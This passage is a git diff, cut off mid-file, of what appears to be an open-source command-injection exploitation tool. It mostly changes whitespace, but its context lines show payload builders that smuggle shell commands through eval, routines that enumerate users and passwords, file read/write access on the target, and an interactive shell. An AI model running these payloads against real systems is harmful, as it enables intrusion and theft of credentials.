a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 749a4b3125..7765c310ca 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -25,7 +25,7 @@ """ def decision(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: - if settings.SKIP_CALC: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -40,8 +40,8 @@ def decision(separator, TAG, randv1, randv2): else: if separator == "": payload = ("print(`echo " + TAG + "`." + - "`for /f \"tokens=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "`for /f \"tokens=*\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p = %i " + settings.CMD_NUL + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" + @@ -49,15 +49,15 @@ def decision(separator, TAG, randv1, randv2): ) else: payload = ("print(`echo " + TAG + - separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p = %i " + settings.CMD_NUL + + separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "\"') do @set /p = %i " + settings.CMD_NUL + separator + "echo " + TAG + separator + "echo " + TAG + "`)%3B" ) else: - if settings.SKIP_CALC: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -92,7 +92,7 @@ def decision(separator, TAG, randv1, randv2): def decision_alter_shell(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" - if settings.SKIP_CALC: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -114,14 +114,14 @@ def decision_alter_shell(separator, TAG, randv1, randv2): ) else: payload = ("print(`echo " + TAG + - separator +python_payload + + separator +python_payload + separator + "echo " + TAG + separator + "echo " + TAG + "`)%3B" ) else: python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" - if settings.SKIP_CALC: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -155,12 +155,12 @@ def decision_alter_shell(separator, TAG, randv1, randv2): """ def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + + cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p = %i " + settings.CMD_NUL ) if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + cmd + "`." + "`echo " + TAG + "`." + @@ -168,23 +168,23 @@ def cmd_execution(separator, TAG, cmd): ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator + cmd + separator + "echo '" + TAG + "'" + separator + "echo '" + TAG + "'`)%3B" ) - else: + else: settings.USER_SUPPLIED_CMD = cmd if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + cmd + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator + cmd + separator + "echo '" + TAG + "'" + @@ -202,20 +202,20 @@ def cmd_execution_alter_shell(separator, TAG, cmd): payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: - python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + - settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + + python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + "') do @set /p = %i " + settings.CMD_NUL ) if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + python_payload + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator + python_payload + separator + "echo '" + TAG + "'" + @@ -223,14 +223,14 @@ def cmd_execution_alter_shell(separator, TAG, cmd): ) else: if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + cmd + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator +cmd + separator + "echo '" + TAG + "'" + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 6c3a72395b..7f03135077 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -30,7 +30,7 @@ """ Powershell's version number enumeration (for Windows OS) """ -def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): +def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False cmd = settings.PS_VERSION if alter_shell: @@ -55,7 +55,7 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME + settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -71,11 +71,11 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ """ Retrieve system information """ -def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): +def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS + cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -145,8 +145,8 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w _ = False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT + else: + cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -163,13 +163,13 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w """ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - cmd = settings.SYS_USERS + cmd = settings.SYS_USERS if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) + else: + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -185,8 +185,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h System passwords enumeration """ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - cmd = settings.SYS_PASSES + _ = False + cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -213,7 +213,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -233,7 +233,7 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ checks.print_enumenation().hostname_msg() hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True - + if menu.options.current_user: checks.print_enumenation().current_user_msg() current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index ea5213211c..4df1f82d0e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -39,9 +39,9 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) cmd = checks.delete_tmp(tmp_fname) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) else: cmd = checks.write_content(content, dest_to_write) cmd = cmd + settings.COMMENT @@ -72,7 +72,7 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht Read a file from the target host. """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd, file_to_read = checks.file_content_to_read() + cmd, file_to_read = checks.file_content_to_read() if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) @@ -100,6 +100,6 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ if menu.options.file_read: file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 1f6caab6ee..934c44a2ce 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -42,7 +42,7 @@ """ """ -Check ff temp-based technique has failed, +Check ff temp-based technique has failed, then use the "/tmp/" directory for tempfile-based technique. """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): @@ -50,7 +50,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met info_msg = "Trying to create a file in temporary " info_msg += "directory (" + tmp_path + ") for command execution output.\n" sys.stdout.write(settings.print_info_msg(info_msg)) - call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb else : sys.stdout.write("\r") @@ -66,7 +66,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE - else: + else: cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -78,7 +78,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www" - message = "Please provide the host's root directory (e.g. '" + message = "Please provide the host's root directory (e.g. '" message += example_root_dir + "') > " settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) if settings.WEB_ROOT.endswith(("\\", "/")): @@ -93,7 +93,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon Return TEMP path for win / *nix targets. """ def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): - # Set temp path + # Set temp path if settings.TARGET_OS == settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" @@ -125,7 +125,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons # Add "/html" to servers root directory settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: - settings.WEB_ROOT = settings.WEB_ROOT + settings.WEB_ROOT = settings.WEB_ROOT except IndexError: pass # Add "/html" to servers root directory @@ -154,7 +154,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons path = _urllib.parse.urlparse(url).path path_parts = path.split('/') count = 0 - for part in path_parts: + for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] @@ -162,7 +162,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR if settings.TARGET_OS == settings.OS.WINDOWS: settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") - + return tmp_path @@ -204,9 +204,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - if not settings.LOAD_SESSION or settings.RETEST == True: - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - info_msg = "Trying to create a file in '" + settings.WEB_ROOT + if not settings.LOAD_SESSION or settings.RETEST == True: + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) @@ -245,11 +245,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - + if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. - OUTPUT_TEXTFILE = TAG + ".txt" + OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: @@ -261,7 +261,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) - + # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) @@ -276,7 +276,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + print(settings.print_payload(payload_msg)) # Cookie Injection if settings.COOKIE_INJECTION == True: @@ -288,7 +288,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) + response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: @@ -315,7 +315,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) - + try: # Check if defined extra headers. @@ -346,7 +346,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise - + # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): @@ -358,7 +358,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) sys.stdout.write("\r") message = "It seems that you don't have permissions to " - message += "read and/or write files in '" + settings.WEB_ROOT + "'. " + message += "read and/or write files in '" + settings.WEB_ROOT + "'. " while True: message = message + "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) @@ -382,23 +382,23 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r common.invalid_option(tmp_upload) pass continue - + else: if finalize(exit_loops, no_result, float_percent, injection_type, technique): continue else: raise - + elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() - + elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() - + except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) if 'vuln_parameter' in locals(): @@ -406,7 +406,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise - except _urllib.error.URLError as e: + except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) @@ -417,11 +417,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue - + except: raise - - # Yaw, got shellz! + + # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True @@ -435,27 +435,27 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r not next_attack_vector: next_attack_vector = True - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.HOST_INJECTION == True: + elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -470,14 +470,14 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -497,7 +497,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False + settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True @@ -507,7 +507,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: - menu.options.ignore_session = True + menu.options.ignore_session = True fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) break elif enumerate_again in settings.CHOICE_NO: @@ -523,7 +523,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: @@ -534,7 +534,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r menu.options.ignore_session = True fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) @@ -546,13 +546,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: if menu.file_access_options(): fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + # Check if defined single cmd. if menu.options.os_cmd: fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + # Pseudo-Terminal shell try: checks.alert() @@ -585,7 +585,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: time.sleep(timesec) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -610,23 +610,23 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r break else: if no_result == True: - return False + return False else: - return True + return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - common.invalid_option(gotshell) + common.invalid_option(gotshell) pass - - except KeyboardInterrupt: + + except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise - + if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 8db00d67a1..28a00bbba7 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -42,25 +42,25 @@ Check if target host is vulnerable. """ def injection_test(payload, http_request_method, url): - + # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: - + # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - + # Encoding spaces. payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") - + # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined extra headers. headers.do_check(request) - + try: # Get the response of the request response = requests.get_request_response(request) @@ -74,7 +74,7 @@ def injection_test(payload, http_request_method, url): # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -82,7 +82,7 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) @@ -92,7 +92,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - + try: # Get the response of the request response = requests.get_request_response(request) @@ -135,14 +135,14 @@ def custom_header_injection_test(url, vuln_parameter, payload): The main command injection exploitation. """ def injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - + def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - + # Execute shell commands on vulnerable host. if alter_shell : - payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) + payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) else: - payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) + payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) @@ -165,7 +165,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht sys.stdout.flush() output_payload = "\n" + settings.print_payload(payload) if settings.VERBOSITY_LEVEL != 0: - output_payload = output_payload + "\n" + output_payload = output_payload + "\n" sys.stdout.write(output_payload) # Check if defined cookie with "INJECT_HERE" tag @@ -175,7 +175,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht # Check if 